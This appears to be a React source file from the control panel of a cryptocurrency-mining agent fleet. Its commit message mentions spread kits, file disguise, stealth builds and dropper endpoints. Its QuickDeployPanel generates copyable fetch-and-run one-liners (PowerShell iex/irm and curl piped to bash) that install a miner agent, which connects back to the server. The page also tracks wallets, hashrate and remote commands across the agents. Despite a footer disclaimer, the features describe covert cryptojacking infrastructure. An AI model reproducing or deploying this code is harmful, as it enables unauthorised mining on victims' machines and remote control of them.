Files
AetherForge/server/web/src/pages/AgentsPage.tsx
drjones 0f9e04f5f6 Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
2026-05-29 20:53:13 -07:00

443 lines
18 KiB
TypeScript
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import { useState, useEffect, useMemo, useCallback } from 'react';
import { api } from '../api/client';
import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, HashrateSample, ServerInfo } from '../types';
import HashrateChart from '../components/Charts/HashrateChart';
import NeonCard from '../components/NeonCard/NeonCard';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
import AgentListItem from '../components/Fleet/AgentListItem';
import FleetToolbar from '../components/Fleet/FleetToolbar';
import {
DEFAULT_FLEET_FILTERS,
filterFleetAgents,
agentIsIdleMiner,
formatHashrate,
formatUptime,
} from '../help/fleetFilters';
import type { FleetFilterState } from '../help/fleetFilters';
import '../components/Fleet/FleetToolbar.css';
import './Pages.css';
function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) {
const [copied, setCopied] = useState<string | null>(null);
const base = serverInfo?.suggested_url?.replace(/\/$/, '') ?? window.location.origin;
const copy = (text: string, key: string) => {
navigator.clipboard.writeText(text).then(() => {
setCopied(key);
setTimeout(() => setCopied(null), 2000);
});
};
const ps1 = `iex (irm '${base}/install.ps1')`;
const sh = `curl -sL ${base}/install.sh | bash`;
const dlWin = `${base}/get?os=windows`;
const dlLin = `${base}/get?os=linux`;
const dlMac = `${base}/get?os=darwin`;
const Row = ({ label, cmd, id }: { label: string; cmd: string; id: string }) => (
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.4rem' }}>
<span className="font-tech" style={{ minWidth: '5rem', color: 'var(--clr-amber)', fontSize: '0.75rem' }}>{label}</span>
<code style={{ flex: 1, background: 'rgba(0,0,0,0.4)', padding: '0.3rem 0.6rem', borderRadius: '4px', fontSize: '0.8rem', color: '#eee', overflowX: 'auto', whiteSpace: 'nowrap' }}>{cmd}</code>
<button className="btn btn-sm" onClick={() => copy(cmd, id)} style={{ whiteSpace: 'nowrap', minWidth: '4.5rem' }}>
{copied === id ? '✓ Copied' : 'Copy'}
</button>
</div>
);
return (
<NeonCard accent="cyan" style={{ marginBottom: '1.25rem' }}>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}>
<span style={{ fontSize: '1.2rem' }}></span>
<div>
<strong className="font-display" style={{ fontSize: '1rem' }}>One-liner Quick Deploy</strong>
<p className="form-hint" style={{ margin: 0 }}>
Run any of these commands on a remote machine the agent downloads itself and connects back automatically.
No files to transfer manually.
</p>
</div>
</div>
<div style={{ marginBottom: '0.75rem' }}>
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Install &amp; run (auto-launches)</div>
<Row label="Windows" cmd={ps1} id="ps1" />
<Row label="Linux/Mac" cmd={sh} id="sh" />
</div>
<div>
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Direct download only (saves file)</div>
<Row label="Windows" cmd={dlWin} id="dlw" />
<Row label="Linux" cmd={dlLin} id="dll" />
<Row label="macOS" cmd={dlMac} id="dlm" />
</div>
</NeonCard>
);
}
export default function AgentsPage() {
const { agents: liveAgents, isConnected, agentLogs, commandResults } = useWebSocket();
const [agents, setAgents] = useState<Agent[]>([]);
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
const [expandedId, setExpandedId] = useState<string | null>(null);
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const [filters, setFilters] = useState<FleetFilterState>(DEFAULT_FLEET_FILTERS);
const [bulkBusy, setBulkBusy] = useState(false);
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
const [loading, setLoading] = useState(true);
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [loadError, setLoadError] = useState('');
const [logContent, setLogContent] = useState('');
const [logLoading, setLogLoading] = useState(false);
const [notesDraft, setNotesDraft] = useState('');
const [tagsDraft, setTagsDraft] = useState('');
const [metaSaving, setMetaSaving] = useState(false);
const [metaMsg, setMetaMsg] = useState('');
useEffect(() => {
api.listAgents()
.then(setAgents)
.catch((err) => setLoadError(err instanceof Error ? err.message : 'Failed to load agents'))
.finally(() => setLoading(false));
api.getServerInfo().then(setServerInfo).catch(() => {});
}, []);
useEffect(() => {
if (!selectedAgent) return;
setNotesDraft(selectedAgent.notes || '');
setTagsDraft((selectedAgent.tags || []).join(', '));
}, [selectedAgent?.id]);
useEffect(() => {
if (!isConnected) return;
setAgents(liveAgents);
if (!selectedAgent) return;
const updated = liveAgents.find((a) => a.id === selectedAgent.id);
if (updated) {
setSelectedAgent(updated);
} else {
setSelectedAgent(null);
setLogContent('');
}
}, [liveAgents, isConnected, selectedAgent?.id]);
useEffect(() => {
if (selectedAgent && agentLogs[selectedAgent.id]) {
setLogContent(agentLogs[selectedAgent.id]);
}
}, [selectedAgent?.id, agentLogs]);
const filteredAgents = useMemo(
() => filterFleetAgents(agents, filters),
[agents, filters]
);
const refreshLog = async (refresh = false) => {
if (!selectedAgent) return;
setLogLoading(true);
try {
const res = await api.getAgentLog(selectedAgent.id, refresh);
setLogContent(res.content || '');
} catch (err) {
setLogContent(err instanceof Error ? err.message : 'Failed to load log');
} finally {
setLogLoading(false);
}
};
const selectAgent = async (agent: Agent) => {
setSelectedAgent(agent);
setNotesDraft(agent.notes || '');
setTagsDraft((agent.tags || []).join(', '));
setMetaMsg('');
setLogContent('');
try {
const history = await api.getAgentStats(agent.id, 60);
setHashrateHistory(history);
} catch (err) {
console.error(err);
}
};
const saveMeta = async () => {
if (!selectedAgent) return;
setMetaSaving(true);
setMetaMsg('');
const tags = tagsDraft.split(',').map((t) => t.trim()).filter(Boolean);
try {
const res = await api.updateAgentMeta(selectedAgent.id, notesDraft, tags);
const updated = res.agent;
setAgents((prev) => prev.map((a) => (a.id === updated.id ? { ...a, ...updated } : a)));
setSelectedAgent((prev) => (prev?.id === updated.id ? { ...prev, ...updated } : prev));
setMetaMsg('Saved');
setTimeout(() => setMetaMsg(''), 2000);
} catch (err) {
setMetaMsg(err instanceof Error ? err.message : 'Save failed');
} finally {
setMetaSaving(false);
}
};
const toggleSelect = useCallback((id: string, on: boolean) => {
setSelectedIds((prev) => {
const next = new Set(prev);
if (on) next.add(id);
else next.delete(id);
return next;
});
}, []);
const handleBulkAction = async (action: string) => {
const ids = [...selectedIds];
if (ids.length === 0) return;
let targetIds = ids;
if (action === 'restart_idle') {
targetIds = agents.filter((a) => ids.includes(a.id) && agentIsIdleMiner(a)).map((a) => a.id);
if (targetIds.length === 0) {
alert('No selected online agents with idle hashrate (< 100 H/s).');
return;
}
action = 'restart';
}
const onlineIds = targetIds.filter((id) => agents.find((a) => a.id === id)?.status === 'online');
if (onlineIds.length === 0) {
alert('No online agents in selection.');
return;
}
if (action === 'stop' && !window.confirm(`Stop miner on ${onlineIds.length} agent(s)?`)) return;
setBulkBusy(true);
try {
await api.sendBulkCommand(onlineIds, action);
} catch (err) {
console.error(err);
} finally {
setBulkBusy(false);
}
};
return (
<div className="page fade-in command-deck">
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">FLEET REGISTRY</p>
<h1>Fleet Roster</h1>
<p className="page-subtitle">Compact list click a row to expand quick actions or inspect full telemetry on the right.</p>
</div>
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
</header>
<QuickDeployPanel serverInfo={serverInfo} />
{loadError && (
<NeonCard accent="amber" className="empty-state">
<p>{loadError}</p>
</NeonCard>
)}
{loading ? (
<NeonCard accent="brass" className="empty-state">
<p>Scanning network...</p>
</NeonCard>
) : agents.length === 0 ? (
<NeonCard accent="brass" className="empty-state">
<div className="empty-icon"></div>
<h3>No agents registered</h3>
<p>Deploy a worker to any machine (Windows, Linux, or macOS) using the Forge and it will appear here automatically.</p>
</NeonCard>
) : (
<div className="agents-layout">
<div className="agents-list-panel">
<FleetToolbar
agents={agents}
filters={filters}
onChange={setFilters}
selectedCount={selectedIds.size}
onBulkAction={handleBulkAction}
bulkBusy={bulkBusy}
/>
<div className="agents-list">
{filteredAgents.map((agent) => (
<AgentListItem
key={agent.id}
agent={agent}
selected={selectedAgent?.id === agent.id}
expanded={expandedId === agent.id}
selectable
checked={selectedIds.has(agent.id)}
onCheck={(on) => toggleSelect(agent.id, on)}
onSelect={() => void selectAgent(agent)}
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
commandResults={commandResults}
/>
))}
{filteredAgents.length === 0 && (
<p className="form-hint">No agents match filters.</p>
)}
</div>
</div>
{selectedAgent && (
<NeonCard accent="cyan" className="agent-detail" hud>
<h2 className="font-display">{selectedAgent.name}</h2>
{(selectedAgent.tags?.length ?? 0) > 0 && (
<div style={{ marginBottom: '0.5rem' }}>
{selectedAgent.tags!.map((t) => (
<span key={t} className="agent-tag-chip">{t}</span>
))}
</div>
)}
<div className="detail-section agent-meta-editor">
<h3>Notes &amp; Tags</h3>
<p className="form-hint">Labels like &quot;Living room PC&quot; or &quot;Rack B&quot; stored on the server, shown on list cards.</p>
<textarea
className="input"
rows={2}
placeholder="Notes about this machine…"
value={notesDraft}
onChange={(e) => setNotesDraft(e.target.value)}
/>
<input
type="text"
className="input mono agent-meta-tags-input"
placeholder="Tags: living-room, rack-b (comma separated)"
value={tagsDraft}
onChange={(e) => setTagsDraft(e.target.value)}
/>
<button type="button" className="btn btn-outline btn-sm" disabled={metaSaving} onClick={() => void saveMeta()}>
{metaSaving ? 'Saving…' : 'Save notes & tags'}
</button>
{metaMsg && <span className="form-hint">{metaMsg}</span>}
</div>
<div className="agent-detail-grid">
<div className="detail-item">
<span className="detail-label">Status</span>
<span className={`status-badge ${selectedAgent.status}`}>{selectedAgent.status}</span>
</div>
<div className="detail-item">
<span className="detail-label">Wallet</span>
<span className="detail-value mono">{selectedAgent.wallet?.substring(0, 20)}...</span>
</div>
<div className="detail-item">
<span className="detail-label">IP Address</span>
<span className="detail-value">{selectedAgent.ip}</span>
</div>
<div className="detail-item">
<span className="detail-label">Version</span>
<span className="detail-value">{selectedAgent.version || 'Unknown'}</span>
</div>
{(selectedAgent.platform || selectedAgent.os_version) && (
<div className="detail-item">
<span className="detail-label">Platform</span>
<span className="detail-value">
{[selectedAgent.platform, selectedAgent.arch].filter(Boolean).join(' / ')}
{selectedAgent.os_version ? `${selectedAgent.os_version}` : ''}
</span>
</div>
)}
<div className="detail-item">
<span className="detail-label">CPU Cores</span>
<span className="detail-value">{selectedAgent.cpu_cores}</span>
</div>
<div className="detail-item">
<span className="detail-label">Memory</span>
<span className="detail-value">{selectedAgent.memory_gb} GB</span>
</div>
<div className="detail-item">
<span className="detail-label">CPU Usage</span>
<span className="detail-value">{selectedAgent.cpu_usage_pct.toFixed(1)}%</span>
</div>
<div className="detail-item">
<span className="detail-label">Uptime</span>
<span className="detail-value">{formatUptime(selectedAgent.uptime_seconds)}</span>
</div>
</div>
<div className="detail-section">
<h3>Hashrate</h3>
<div className="hashrate-detail-grid">
<div className="hashrate-item">
<span className="detail-label">15s</span>
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_15s)}</span>
</div>
<div className="hashrate-item">
<span className="detail-label">1m</span>
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_1m)}</span>
</div>
<div className="hashrate-item">
<span className="detail-label">15m</span>
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_15m)}</span>
</div>
</div>
</div>
<div className="detail-section">
<h3>Shares</h3>
<div className="shares-detail-grid">
<div className="share-stat good">
<span className="share-count">{selectedAgent.shares_good}</span>
<span className="share-label">Accepted</span>
</div>
<div className="share-stat bad">
<span className="share-count">{selectedAgent.shares_bad}</span>
<span className="share-label">Rejected</span>
</div>
<div className="share-stat total">
<span className="share-count">{selectedAgent.shares_total}</span>
<span className="share-label">Total</span>
</div>
</div>
</div>
{hashrateHistory.length > 0 && (
<div className="detail-section">
<h3 className="font-tech">HASHRATE TELEMETRY</h3>
<HashrateChart
title=""
color="#00f5ff"
unit="H/s"
height={240}
data={[...hashrateHistory].reverse().map((s) => ({
time: new Date(s.timestamp).toLocaleTimeString(),
value: s.hashrate,
}))}
/>
</div>
)}
<div className="detail-section">
<h3>Remote Control</h3>
{selectedAgent.status !== 'online' && (
<p className="form-hint">Agent is offline remote actions are disabled until it reconnects.</p>
)}
<AgentRemoteActions
agent={selectedAgent}
online={selectedAgent.status === 'online'}
commandResults={commandResults}
onCommandSent={(action: string) => {
if (action === 'get_log') refreshLog(true);
}}
/>
</div>
<div className="detail-section">
<h3>Agent Log <button type="button" className="agent-action-btn" onClick={() => refreshLog(true)} disabled={logLoading || selectedAgent.status !== 'online'}>{logLoading ? '…' : 'Refresh'}</button></h3>
<p className="form-hint">Streams miner.log when file_logging is enabled (non-stealth builds).</p>
<pre className="log-viewer">{logContent || (selectedAgent.status === 'online' ? 'Click Fetch Log or Refresh' : 'Agent offline')}</pre>
</div>
</NeonCard>
)}
</div>
)}
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}